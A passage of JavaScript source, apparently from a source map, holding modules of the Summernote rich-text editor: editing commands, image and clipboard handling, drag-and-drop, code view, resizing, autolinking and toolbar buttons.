event);\n    });\n\n    if (!this.options.airMode) {\n      if (this.options.width) {\n        this.$editor.outerWidth(this.options.width);\n      }\n      if (this.options.height) {\n        this.$editable.outerHeight(this.options.height);\n      }\n      if (this.options.maxHeight) {\n        this.$editable.css('max-height', this.options.maxHeight);\n      }\n      if (this.options.minHeight) {\n        this.$editable.css('min-height', this.options.minHeight);\n      }\n    }\n\n    this.history.recordUndo();\n  }\n\n  destroy() {\n    this.$editable.off();\n  }\n\n  handleKeyMap(event) {\n    const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n    const keys = [];\n\n    if (event.metaKey) { keys.push('CMD'); }\n    if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); }\n    if (event.shiftKey) { keys.push('SHIFT'); }\n\n    const keyName = key.nameFromCode[event.keyCode];\n    if (keyName) {\n      keys.push(keyName);\n    }\n\n    const eventName = keyMap[keys.join('+')];\n    if (eventName) {\n      if (this.context.invoke(eventName) !== false) {\n        event.preventDefault();\n      }\n    } else if (key.isEdit(event.keyCode)) {\n      this.afterCommand();\n    }\n  }\n\n  preventDefaultEditableShortCuts(event) {\n    // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)\n    if ((event.ctrlKey || event.metaKey) &&\n      lists.contains([66, 73, 85], event.keyCode)) {\n      event.preventDefault();\n    }\n  }\n\n  isLimited(pad, event) {\n    pad = pad || 0;\n\n    if (typeof event !== 'undefined') {\n      if (key.isMove(event.keyCode) ||\n          (event.ctrlKey || event.metaKey) ||\n          lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {\n        return false;\n      }\n    }\n\n    if (this.options.maxTextLength > 0) {\n      if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {\n        return true;\n      }\n    }\n    return false;\n  }\n  /**\n   * create range\n   * @return {WrappedRange}\n   */\n  createRange() {\n    this.focus();\n    return range.create(this.editable);\n  }\n\n  /**\n   * saveRange\n   *\n   * save current range\n   *\n   * @param {Boolean} [thenCollapse=false]\n   */\n  saveRange(thenCollapse) {\n    this.lastRange = this.createRange();\n    if (thenCollapse) {\n      this.lastRange.collapse().select();\n    }\n  }\n\n  /**\n   * restoreRange\n   *\n   * restore lately range\n   */\n  restoreRange() {\n    if (this.lastRange) {\n      this.lastRange.select();\n      this.focus();\n    }\n  }\n\n  saveTarget(node) {\n    this.$editable.data('target', node);\n  }\n\n  clearTarget() {\n    this.$editable.removeData('target');\n  }\n\n  restoreTarget() {\n    return this.$editable.data('target');\n  }\n\n  /**\n   * currentStyle\n   *\n   * current style\n   * @return {Object|Boolean} unfocus\n   */\n  currentStyle() {\n    let rng = range.create();\n    if (rng) {\n      rng = rng.normalize();\n    }\n    return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);\n  }\n\n  /**\n   * style from node\n   *\n   * @param {jQuery} $node\n   * @return {Object}\n   */\n  styleFromNode($node) {\n    return this.style.fromNode($node);\n  }\n\n  /**\n   * undo\n   */\n  undo() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    this.history.undo();\n    this.context.triggerEvent('change', this.$editable.html());\n  }\n\n  /**\n   * redo\n   */\n  redo() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    this.history.redo();\n    this.context.triggerEvent('change', this.$editable.html());\n  }\n\n  /**\n   * before command\n   */\n  beforeCommand() {\n    this.context.triggerEvent('before.command', this.$editable.html());\n    // keep focus on editable before command execution\n    this.focus();\n  }\n\n  /**\n   * after command\n   * @param {Boolean} isPreventTrigger\n   */\n  afterCommand(isPreventTrigger) {\n    this.normalizeContent();\n    this.history.recordUndo();\n    if (!isPreventTrigger) {\n      this.context.triggerEvent('change', this.$editable.html());\n    }\n  }\n\n  /**\n   * handle tab key\n   */\n  tab() {\n    const rng = this.createRange();\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.table.tab(rng);\n    } else {\n      if (this.options.tabSize === 0) {\n        return false;\n      }\n\n      if (!this.isLimited(this.options.tabSize)) {\n        this.beforeCommand();\n        this.typing.insertTab(rng, this.options.tabSize);\n        this.afterCommand();\n      }\n    }\n  }\n\n  /**\n   * handle shift+tab key\n   */\n  untab() {\n    const rng = this.createRange();\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.table.tab(rng, true);\n    } else {\n      if (this.options.tabSize === 0) {\n        return false;\n      }\n    }\n  }\n\n  /**\n   * run given function between beforeCommand and afterCommand\n   */\n  wrapCommand(fn) {\n    return () => {\n      this.beforeCommand();\n      fn.apply(this, arguments);\n      this.afterCommand();\n    };\n  }\n\n  /**\n   * insert image\n   *\n   * @param {String} src\n   * @param {String|Function} param\n   * @return {Promise}\n   */\n  insertImage(src, param) {\n    return createImage(src, param).then(($image) => {\n      this.beforeCommand();\n\n      if (typeof param === 'function') {\n        param($image);\n      } else {\n        if (typeof param === 'string') {\n          $image.attr('data-filename', param);\n        }\n        $image.css('width', Math.min(this.$editable.width(), $image.width()));\n      }\n\n      $image.show();\n      range.create(this.editable).insertNode($image[0]);\n      range.createFromNodeAfter($image[0]).select();\n      this.afterCommand();\n    }).fail((e) => {\n      this.context.triggerEvent('image.upload.error', e);\n    });\n  }\n\n  /**\n   * insertImages\n   * @param {File[]} files\n   */\n  insertImages(files) {\n    $.each(files, (idx, file) => {\n      const filename = file.name;\n      if (this.options.maximumImageFileSize && this.options.maximumImageFileSize < file.size) {\n        this.context.triggerEvent('image.upload.error', this.lang.image.maximumFileSizeError);\n      } else {\n        readFileAsDataURL(file).then((dataURL) => {\n          return this.insertImage(dataURL, filename);\n        }).fail(() => {\n          this.context.triggerEvent('image.upload.error');\n        });\n      }\n    });\n  }\n\n  /**\n   * insertImagesOrCallback\n   * @param {File[]} files\n   */\n  insertImagesOrCallback(files) {\n    const callbacks = this.options.callbacks;\n\n    // If onImageUpload this.options setted\n    if (callbacks.onImageUpload) {\n      this.context.triggerEvent('image.upload', files);\n      // else insert Image as dataURL\n    } else {\n      this.insertImages(files);\n    }\n  }\n\n  /**\n   * return selected plain text\n   * @return {String} text\n   */\n  getSelectedText() {\n    let rng = this.createRange();\n\n    // if range on anchor, expand range with anchor\n    if (rng.isOnAnchor()) {\n      rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));\n    }\n\n    return rng.toString();\n  }\n\n  onFormatBlock(tagName, $target) {\n    // [workaround] for MSIE, IE need `<`\n    tagName = env.isMSIE ? '<' + tagName + '>' : tagName;\n    document.execCommand('FormatBlock', false, tagName);\n\n    // support custom class\n    if ($target && $target.length) {\n      const className = $target[0].className || '';\n      if (className) {\n        const currentRange = this.createRange();\n\n        const $parent = $([currentRange.sc, currentRange.ec]).closest(tagName);\n        $parent.addClass(className);\n      }\n    }\n  }\n\n  formatPara() {\n    this.formatBlock('P');\n  }\n\n  fontStyling(target, value) {\n    const rng = this.createRange();\n\n    if (rng) {\n      const spans = this.style.styleNodes(rng);\n      $(spans).css(target, value);\n\n      // [workaround] added styled bogus span for style\n      //  - also bogus character needed for cursor position\n      if (rng.isCollapsed()) {\n        const firstSpan = lists.head(spans);\n        if (firstSpan && !dom.nodeLength(firstSpan)) {\n          firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;\n          range.createFromNodeAfter(firstSpan.firstChild).select();\n          this.$editable.data(KEY_BOGUS, firstSpan);\n        }\n      }\n    }\n  }\n\n  /**\n   * unlink\n   *\n   * @type command\n   */\n  unlink() {\n    let rng = this.createRange();\n    if (rng.isOnAnchor()) {\n      const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n      rng = range.createFromNode(anchor);\n      rng.select();\n\n      this.beforeCommand();\n      document.execCommand('unlink');\n      this.afterCommand();\n    }\n  }\n\n  /**\n   * returns link info\n   *\n   * @return {Object}\n   * @return {WrappedRange} return.range\n   * @return {String} return.text\n   * @return {Boolean} [return.isNewWindow=true]\n   * @return {String} [return.url=\"\"]\n   */\n  getLinkInfo() {\n    const rng = this.createRange().expand(dom.isAnchor);\n\n    // Get the first anchor on range(for edit).\n    const $anchor = $(lists.head(rng.nodes(dom.isAnchor)));\n    const linkInfo = {\n      range: rng,\n      text: rng.toString(),\n      url: $anchor.length ? $anchor.attr('href') : ''\n    };\n\n    // Define isNewWindow when anchor exists.\n    if ($anchor.length) {\n      linkInfo.isNewWindow = $anchor.attr('target') === '_blank';\n    }\n\n    return linkInfo;\n  }\n\n  addRow(position) {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.addRow(rng, position);\n      this.afterCommand();\n    }\n  }\n\n  addCol(position) {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.addCol(rng, position);\n      this.afterCommand();\n    }\n  }\n\n  deleteRow() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteRow(rng);\n      this.afterCommand();\n    }\n  }\n\n  deleteCol() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteCol(rng);\n      this.afterCommand();\n    }\n  }\n\n  deleteTable() {\n    const rng = this.createRange(this.$editable);\n    if (rng.isCollapsed() && rng.isOnCell()) {\n      this.beforeCommand();\n      this.table.deleteTable(rng);\n      this.afterCommand();\n    }\n  }\n\n  /**\n   * @param {Position} pos\n   * @param {jQuery} $target - target element\n   * @param {Boolean} [bKeepRatio] - keep ratio\n   */\n  resizeTo(pos, $target, bKeepRatio) {\n    let imageSize;\n    if (bKeepRatio) {\n      const newRatio = pos.y / pos.x;\n      const ratio = $target.data('ratio');\n      imageSize = {\n        width: ratio > newRatio ? pos.x : pos.y / ratio,\n        height: ratio > newRatio ? pos.x * ratio : pos.y\n      };\n    } else {\n      imageSize = {\n        width: pos.x,\n        height: pos.y\n      };\n    }\n\n    $target.css(imageSize);\n  }\n\n  /**\n   * returns whether editable area has focus or not.\n   */\n  hasFocus() {\n    return this.$editable.is(':focus');\n  }\n\n  /**\n   * set focus\n   */\n  focus() {\n    // [workaround] Screen will move when page is scolled in IE.\n    //  - do focus when not focused\n    if (!this.hasFocus()) {\n      this.$editable.focus();\n    }\n  }\n\n  /**\n   * returns whether contents is empty or not.\n   * @return {Boolean}\n   */\n  isEmpty() {\n    return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();\n  }\n\n  /**\n   * Removes all contents and restores the editable instance to an _emptyPara_.\n   */\n  empty() {\n    this.context.invoke('code', dom.emptyPara);\n  }\n\n  /**\n   * normalize content\n   */\n  normalizeContent() {\n    this.$editable[0].normalize();\n  }\n}\n","import lists from '../core/lists';\n\nexport default class Clipboard {\n  constructor(context) {\n    this.context = context;\n    this.$editable = context.layoutInfo.editable;\n  }\n\n  initialize() {\n    this.$editable.on('paste', this.pasteByEvent.bind(this));\n  }\n\n  /**\n   * paste by clipboard event\n   *\n   * @param {Event} event\n   */\n  pasteByEvent(event) {\n    const clipboardData = event.originalEvent.clipboardData;\n    if (clipboardData && clipboardData.items && clipboardData.items.length) {\n      const item = lists.head(clipboardData.items);\n      if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {\n        this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);\n      }\n      this.context.invoke('editor.afterCommand');\n    }\n  }\n}\n","import $ from 'jquery';\n\nexport default class Dropzone {\n  constructor(context) {\n    this.context = context;\n    this.$eventListener = $(document);\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n    this.documentEventHandlers = {};\n\n    this.$dropzone = $([\n      '<div class=\"note-dropzone\">',\n      '  <div class=\"note-dropzone-message\"/>',\n      '</div>'\n    ].join('')).prependTo(this.$editor);\n  }\n\n  /**\n   * attach Drag and Drop Events\n   */\n  initialize() {\n    if (this.options.disableDragAndDrop) {\n      // prevent default drop event\n      this.documentEventHandlers.onDrop = (e) => {\n        e.preventDefault();\n      };\n      // do not consider outside of dropzone\n      this.$eventListener = this.$dropzone;\n      this.$eventListener.on('drop', this.documentEventHandlers.onDrop);\n    } else {\n      this.attachDragAndDropEvent();\n    }\n  }\n\n  /**\n   * attach Drag and Drop Events\n   */\n  attachDragAndDropEvent() {\n    let collection = $();\n    const $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');\n\n    this.documentEventHandlers.onDragenter = (e) => {\n      const isCodeview = this.context.invoke('codeview.isActivated');\n      const hasEditorSize = this.$editor.width() > 0 && this.$editor.height() > 0;\n      if (!isCodeview && !collection.length && hasEditorSize) {\n        this.$editor.addClass('dragover');\n        this.$dropzone.width(this.$editor.width());\n        this.$dropzone.height(this.$editor.height());\n        $dropzoneMessage.text(this.lang.image.dragImageHere);\n      }\n      collection = collection.add(e.target);\n    };\n\n    this.documentEventHandlers.onDragleave = (e) => {\n      collection = collection.not(e.target);\n      if (!collection.length) {\n        this.$editor.removeClass('dragover');\n      }\n    };\n\n    this.documentEventHandlers.onDrop = () => {\n      collection = $();\n      this.$editor.removeClass('dragover');\n    };\n\n    // show dropzone on dragenter when dragging a object to document\n    // -but only if the editor is visible, i.e. has a positive width and height\n    this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)\n      .on('dragleave', this.documentEventHandlers.onDragleave)\n      .on('drop', this.documentEventHandlers.onDrop);\n\n    // change dropzone's message on hover.\n    this.$dropzone.on('dragenter', () => {\n      this.$dropzone.addClass('hover');\n      $dropzoneMessage.text(this.lang.image.dropImage);\n    }).on('dragleave', () => {\n      this.$dropzone.removeClass('hover');\n      $dropzoneMessage.text(this.lang.image.dragImageHere);\n    });\n\n    // attach dropImage\n    this.$dropzone.on('drop', (event) => {\n      const dataTransfer = event.originalEvent.dataTransfer;\n\n      // stop the browser from opening the dropped content\n      event.preventDefault();\n\n      if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {\n        this.$editable.focus();\n        this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);\n      } else {\n        $.each(dataTransfer.types, (idx, type) => {\n          const content = dataTransfer.getData(type);\n\n          if (type.toLowerCase().indexOf('text') > -1) {\n            this.context.invoke('editor.pasteHTML', content);\n          } else {\n            $(content).each((idx, item) => {\n              this.context.invoke('editor.insertNode', item);\n            });\n          }\n        });\n      }\n    }).on('dragover', false); // prevent default dragover event\n  }\n\n  destroy() {\n    Object.keys(this.documentEventHandlers).forEach((key) => {\n      this.$eventListener.off(key.substr(2).toLowerCase(), this.documentEventHandlers[key]);\n    });\n    this.documentEventHandlers = {};\n  }\n}\n","import env from '../core/env';\nimport dom from '../core/dom';\n\nlet CodeMirror;\nif (env.hasCodeMirror) {\n  if (env.isSupportAmd) {\n    require(['codemirror'], function(cm) {\n      CodeMirror = cm;\n    });\n  } else {\n    CodeMirror = window.CodeMirror;\n  }\n}\n\n/**\n * @class Codeview\n */\nexport default class CodeView {\n  constructor(context) {\n    this.context = context;\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.$codable = context.layoutInfo.codable;\n    this.options = context.options;\n  }\n\n  sync() {\n    const isCodeview = this.isActivated();\n    if (isCodeview && env.hasCodeMirror) {\n      this.$codable.data('cmEditor').save();\n    }\n  }\n\n  /**\n   * @return {Boolean}\n   */\n  isActivated() {\n    return this.$editor.hasClass('codeview');\n  }\n\n  /**\n   * toggle codeview\n   */\n  toggle() {\n    if (this.isActivated()) {\n      this.deactivate();\n    } else {\n      this.activate();\n    }\n    this.context.triggerEvent('codeview.toggled');\n  }\n\n  /**\n   * activate code view\n   */\n  activate() {\n    this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));\n    this.$codable.height(this.$editable.height());\n\n    this.context.invoke('toolbar.updateCodeview', true);\n    this.$editor.addClass('codeview');\n    this.$codable.focus();\n\n    // activate CodeMirror as codable\n    if (env.hasCodeMirror) {\n      const cmEditor = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);\n\n      // CodeMirror TernServer\n      if (this.options.codemirror.tern) {\n        const server = new CodeMirror.TernServer(this.options.codemirror.tern);\n        cmEditor.ternServer = server;\n        cmEditor.on('cursorActivity', (cm) => {\n          server.updateArgHints(cm);\n        });\n      }\n\n      cmEditor.on('blur', (event) => {\n        this.context.triggerEvent('blur.codeview', cmEditor.getValue(), event);\n      });\n\n      // CodeMirror hasn't Padding.\n      cmEditor.setSize(null, this.$editable.outerHeight());\n      this.$codable.data('cmEditor', cmEditor);\n    } else {\n      this.$codable.on('blur', (event) => {\n        this.context.triggerEvent('blur.codeview', this.$codable.val(), event);\n      });\n    }\n  }\n\n  /**\n   * deactivate code view\n   */\n  deactivate() {\n    // deactivate CodeMirror as codable\n    if (env.hasCodeMirror) {\n      const cmEditor = this.$codable.data('cmEditor');\n      this.$codable.val(cmEditor.getValue());\n      cmEditor.toTextArea();\n    }\n\n    const value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;\n    const isChange = this.$editable.html() !== value;\n\n    this.$editable.html(value);\n    this.$editable.height(this.options.height ? this.$codable.height() : 'auto');\n    this.$editor.removeClass('codeview');\n\n    if (isChange) {\n      this.context.triggerEvent('change', this.$editable.html(), this.$editable);\n    }\n\n    this.$editable.focus();\n\n    this.context.invoke('toolbar.updateCodeview', false);\n  }\n\n  destroy() {\n    if (this.isActivated()) {\n      this.deactivate();\n    }\n  }\n}\n","import $ from 'jquery';\nconst EDITABLE_PADDING = 24;\n\nexport default class Statusbar {\n  constructor(context) {\n    this.$document = $(document);\n    this.$statusbar = context.layoutInfo.statusbar;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n  }\n\n  initialize() {\n    if (this.options.airMode || this.options.disableResizeEditor) {\n      this.destroy();\n      return;\n    }\n\n    this.$statusbar.on('mousedown', (event) => {\n      event.preventDefault();\n      event.stopPropagation();\n\n      const editableTop = this.$editable.offset().top - this.$document.scrollTop();\n      const onMouseMove = (event) => {\n        let height = event.clientY - (editableTop + EDITABLE_PADDING);\n\n        height = (this.options.minheight > 0) ? Math.max(height, this.options.minheight) : height;\n        height = (this.options.maxHeight > 0) ? Math.min(height, this.options.maxHeight) : height;\n\n        this.$editable.height(height);\n      };\n\n      this.$document.on('mousemove', onMouseMove).one('mouseup', () => {\n        this.$document.off('mousemove', onMouseMove);\n      });\n    });\n  }\n\n  destroy() {\n    this.$statusbar.off();\n    this.$statusbar.addClass('locked');\n  }\n}\n","import $ from 'jquery';\n\nexport default class Fullscreen {\n  constructor(context) {\n    this.context = context;\n\n    this.$editor = context.layoutInfo.editor;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.$editable = context.layoutInfo.editable;\n    this.$codable = context.layoutInfo.codable;\n\n    this.$window = $(window);\n    this.$scrollbar = $('html, body');\n\n    this.onResize = () => {\n      this.resizeTo({\n        h: this.$window.height() - this.$toolbar.outerHeight()\n      });\n    };\n  }\n\n  resizeTo(size) {\n    this.$editable.css('height', size.h);\n    this.$codable.css('height', size.h);\n    if (this.$codable.data('cmeditor')) {\n      this.$codable.data('cmeditor').setsize(null, size.h);\n    }\n  }\n\n  /**\n   * toggle fullscreen\n   */\n  toggle() {\n    this.$editor.toggleClass('fullscreen');\n    if (this.isFullscreen()) {\n      this.$editable.data('orgHeight', this.$editable.css('height'));\n      this.$window.on('resize', this.onResize).trigger('resize');\n      this.$scrollbar.css('overflow', 'hidden');\n    } else {\n      this.$window.off('resize', this.onResize);\n      this.resizeTo({ h: this.$editable.data('orgHeight') });\n      this.$scrollbar.css('overflow', 'visible');\n    }\n\n    this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());\n  }\n\n  isFullscreen() {\n    return this.$editor.hasClass('fullscreen');\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\n\nexport default class Handle {\n  constructor(context) {\n    this.context = context;\n    this.$document = $(document);\n    this.$editingArea = context.layoutInfo.editingArea;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    this.events = {\n      'summernote.mousedown': (we, e) => {\n        if (this.update(e.target)) {\n          e.preventDefault();\n        }\n      },\n      'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': () => {\n        this.update();\n      },\n      'summernote.disable': () => {\n        this.hide();\n      },\n      'summernote.codeview.toggled': () => {\n        this.update();\n      }\n    };\n  }\n\n  initialize() {\n    this.$handle = $([\n      '<div class=\"note-handle\">',\n      '<div class=\"note-control-selection\">',\n      '<div class=\"note-control-selection-bg\"></div>',\n      '<div class=\"note-control-holder note-control-nw\"></div>',\n      '<div class=\"note-control-holder note-control-ne\"></div>',\n      '<div class=\"note-control-holder note-control-sw\"></div>',\n      '<div class=\"',\n      (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),\n      ' note-control-se\"></div>',\n      (this.options.disableResizeImage ? '' : '<div class=\"note-control-selection-info\"></div>'),\n      '</div>',\n      '</div>'\n    ].join('')).prependTo(this.$editingArea);\n\n    this.$handle.on('mousedown', (event) => {\n      if (dom.isControlSizing(event.target)) {\n        event.preventDefault();\n        event.stopPropagation();\n\n        const $target = this.$handle.find('.note-control-selection').data('target');\n        const posStart = $target.offset();\n        const scrollTop = this.$document.scrollTop();\n\n        const onMouseMove = (event) => {\n          this.context.invoke('editor.resizeTo', {\n            x: event.clientX - posStart.left,\n            y: event.clientY - (posStart.top - scrollTop)\n          }, $target, !event.shiftKey);\n\n          this.update($target[0]);\n        };\n\n        this.$document\n          .on('mousemove', onMouseMove)\n          .one('mouseup', (e) => {\n            e.preventDefault();\n            this.$document.off('mousemove', onMouseMove);\n            this.context.invoke('editor.afterCommand');\n          });\n\n        if (!$target.data('ratio')) { // original ratio.\n          $target.data('ratio', $target.height() / $target.width());\n        }\n      }\n    });\n\n    // Listen for scrolling on the handle overlay.\n    this.$handle.on('wheel', (e) => {\n      e.preventDefault();\n      this.update();\n    });\n  }\n\n  destroy() {\n    this.$handle.remove();\n  }\n\n  update(target) {\n    if (this.context.isDisabled()) {\n      return false;\n    }\n\n    const isImage = dom.isImg(target);\n    const $selection = this.$handle.find('.note-control-selection');\n\n    this.context.invoke('imagePopover.update', target);\n\n    if (isImage) {\n      const $image = $(target);\n      const position = $image.position();\n      const pos = {\n        left: position.left + parseInt($image.css('marginLeft'), 10),\n        top: position.top + parseInt($image.css('marginTop'), 10)\n      };\n\n      // exclude margin\n      const imageSize = {\n        w: $image.outerWidth(false),\n        h: $image.outerHeight(false)\n      };\n\n      $selection.css({\n        display: 'block',\n        left: pos.left,\n        top: pos.top,\n        width: imageSize.w,\n        height: imageSize.h\n      }).data('target', $image); // save current image element.\n\n      const origImageObj = new Image();\n      origImageObj.src = $image.attr('src');\n\n      const sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';\n      $selection.find('.note-control-selection-info').text(sizingText);\n      this.context.invoke('editor.saveTarget', target);\n    } else {\n      this.hide();\n    }\n\n    return isImage;\n  }\n\n  /**\n   * hide\n   *\n   * @param {jQuery} $handle\n   */\n  hide() {\n    this.context.invoke('editor.clearTarget');\n    this.$handle.children().hide();\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport key from '../core/key';\n\nconst defaultScheme = 'http://';\nconst linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?|mailto:[A-Z0-9._%+-]+@)?(www\\.)?(.+)$/i;\n\nexport default class AutoLink {\n  constructor(context) {\n    this.context = context;\n    this.events = {\n      'summernote.keyup': (we, e) => {\n        if (!e.isDefaultPrevented()) {\n          this.handleKeyup(e);\n        }\n      },\n      'summernote.keydown': (we, e) => {\n        this.handleKeydown(e);\n      }\n    };\n  }\n\n  initialize() {\n    this.lastWordRange = null;\n  }\n\n  destroy() {\n    this.lastWordRange = null;\n  }\n\n  replace() {\n    if (!this.lastWordRange) {\n      return;\n    }\n\n    const keyword = this.lastWordRange.toString();\n    const match = keyword.match(linkPattern);\n\n    if (match && (match[1] || match[2])) {\n      const link = match[1] ? keyword : defaultScheme + keyword;\n      const node = $('<a />').html(keyword).attr('href', link)[0];\n\n      this.lastWordRange.insertNode(node);\n      this.lastWordRange = null;\n      this.context.invoke('editor.focus');\n    }\n  }\n\n  handleKeydown(e) {\n    if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n      const wordRange = this.context.invoke('editor.createRange').getWordRange();\n      this.lastWordRange = wordRange;\n    }\n  }\n\n  handleKeyup(e) {\n    if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {\n      this.replace();\n    }\n  }\n}\n","import dom from '../core/dom';\n\n/**\n * textarea auto sync.\n */\nexport default class AutoSync {\n  constructor(context) {\n    this.$note = context.layoutInfo.note;\n    this.events = {\n      'summernote.change': () => {\n        this.$note.val(context.invoke('code'));\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return dom.isTextarea(this.$note[0]);\n  }\n}\n","import $ from 'jquery';\nexport default class Placeholder {\n  constructor(context) {\n    this.context = context;\n\n    this.$editingArea = context.layoutInfo.editingArea;\n    this.options = context.options;\n    this.events = {\n      'summernote.init summernote.change': () => {\n        this.update();\n      },\n      'summernote.codeview.toggled': () => {\n        this.update();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !!this.options.placeholder;\n  }\n\n  initialize() {\n    this.$placeholder = $('<div class=\"note-placeholder\">');\n    this.$placeholder.on('click', () => {\n      this.context.invoke('focus');\n    }).text(this.options.placeholder).prependTo(this.$editingArea);\n\n    this.update();\n  }\n\n  destroy() {\n    this.$placeholder.remove();\n  }\n\n  update() {\n    const isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty');\n    this.$placeholder.toggle(isShow);\n  }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport env from '../core/env';\n\nexport default class Buttons {\n  constructor(context) {\n    this.ui = $.summernote.ui;\n    this.context = context;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n    this.invertedKeyMap = func.invertObject(\n      this.options.keyMap[env.isMac ? 'mac' : 'pc']\n    );\n  }\n\n  representShortcut(editorMethod) {\n    let shortcut = this.invertedKeyMap[editorMethod];\n    if (!this.options.shortcuts || !shortcut) {\n      return '';\n    }\n\n    if (env.isMac) {\n      shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');\n    }\n\n    shortcut = shortcut.replace('BACKSLASH', '\\\\')\n      .replace('SLASH', '/')\n      .replace('LEFTBRACKET', '[')\n      .replace('RIGHTBRACKET', ']');\n\n    return ' (' + shortcut + ')';\n  }\n\n  button(o) {\n    if (!this.options.tooltip && o.tooltip) {\n      delete o.tooltip;\n    }\n    o.container = this.options.container;\n    return this.ui.button(o);\n  }\n\n  initialize() {\n    this.addToolbarButtons();\n    this.addImagePopoverButtons();\n    this.addLinkPopoverButtons();\n    this.addTablePopoverButtons();\n    this.fontInstalledMap = {};\n  }\n\n  destroy() {\n    delete this.fontInstalledMap;\n  }\n\n  isFontInstalled(name) {\n    if (!this.fontInstalledMap.hasOwnProperty(name)) {\n      this.fontInstalledMap[name] = env.isFontInstalled(name) ||\n        lists.contains(this.options.fontNamesIgnoreCheck, name);\n    }\n\n    return this.fontInstalledMap[name];\n  }\n\n  isFontDeservedToAdd(name) {\n    const genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];\n    name = name.toLowerCase();\n\n    return ((name !== '') && this.isFontInstalled(name) && ($.inArray(name, genericFamilies) === -1));\n  }\n\n  addToolbarButtons() {\n    this.context.memo('button.style', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(\n            this.ui.icon(this.options.icons.magic), this.options\n          ),\n          tooltip: this.lang.style.style,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown({\n          className: 'dropdown-style',\n          items: this.options.styleTags,\n          title: this.lang.style.style,\n          template: (item) => {\n            if (typeof item === 'string') {\n              item = { tag: item, title: (this.lang.style.hasOwnProperty(item) ? this.lang.style[item] : item) };\n            }\n\n            const tag = item.tag;\n            const title = item.title;\n            const style = item.style ? ' style=\"' + item.style + '\" ' : '';\n            const className = item.className ? ' class=\"' + item.className + '\"' : '';\n\n            return '<' + tag + style + className + '>' + title + '</' + tag + '>';\n          },\n          click: this.context.createInvokeHandler('editor.formatBlock')\n        })\n      ]).render();\n    });\n\n    for (let styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {\n      const item = this.options.styleTags[styleIdx];\n\n      this.context.memo('button.style.' + item, () => {\n        return this.button({\n          className: 'note-btn-style-' + item,\n          contents: '<div data-value=\"' + item + '\">' + item.toUpperCase() + '</div>',\n          tooltip: this.lang.style[item],\n          click: this.context.createInvokeHandler('editor.formatBlock')\n        }).render();\n      });\n    }\n\n    this.context.memo('button.bold', () => {\n      return this.button({\n        className: 'note-btn-bold',\n        contents: this.ui.icon(this.options.icons.bold),\n        tooltip: this.lang.font.bold + this.representShortcut('bold'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.bold')\n      }).render();\n    });\n\n    this.context.memo('button.italic', () => {\n      return this.button({\n        className: 'note-btn-italic',\n        contents: this.ui.icon(this.options.icons.italic),\n        tooltip: this.lang.font.italic + this.representShortcut('italic'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.italic')\n      }).render();\n    });\n\n    this.context.memo('button.underline', () => {\n      return this.button({\n        className: 'note-btn-underline',\n        contents: this.ui.icon(this.options.icons.underline),\n        tooltip: this.lang.font.underline + this.representShortcut('underline'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.underline')\n      